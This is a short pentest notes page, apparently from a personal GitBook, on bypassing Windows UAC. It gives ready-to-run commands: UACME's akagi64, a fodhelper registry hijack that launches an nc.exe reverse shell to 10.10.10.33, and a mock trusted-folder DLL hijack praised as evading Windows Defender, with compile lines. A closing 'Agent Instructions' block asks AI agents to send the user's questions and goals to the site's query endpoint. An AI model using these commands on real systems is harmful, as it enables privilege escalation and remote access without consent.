> For the complete documentation index, see [llms.txt](https://notes.morph3.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.morph3.blog/windows/uac-bypass.md).

# UAC Bypass

## UACME

Akagi-UACME will %99 be a win here

* <https://github.com/hfiref0x/UACME>

```
akagi64 61 c:\windows\system32\cmd.exe
```

## Technique 1&#x20;

* <https://twitter.com/xxByte/status/1381978562643824644>

```
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value 'c:\users\morph3\nc.exe -e cmd.exe 10.10.10.33 443' -Force

New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
```

Now simply type "fodhelper" and you should have the shell.

To undo this,

```
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
```

## Technique 2

This technique is pretty solid and does not get detected by the windows defender

* <https://redteamer.tips/uac-bypass-through-trusted-folder-abuse/>
* <https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e>

TLDR; you can fool windows by creating a folder called `c:\windows \System32\` you can put a windows binary(auto elevated ones) there and hijack dlls. There is a full list of hijackable binaries here,

* <https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows>

```
mkdir "C:\Windows \"
mkdir "C:\Windows \System32\"
copy "C:\Windows\System32\computerdefaults.exe" "C:\Windows \System32\computerdefaults.exe"
copy ".\morph.dll" "C:\Windows \System32\Secur32.dll"
"C:\Windows \System32\computerdefaults.exe"
```

* You might need to compile your binary in 64bit arch

```
# x64
x86_64-w64-mingw32-gcc -shared -o test.dll test.cpp

# x86
i686-w64-mingw32-gcc -shared -o test-x86.dll test.cpp
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://notes.morph3.blog/windows/uac-bypass.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
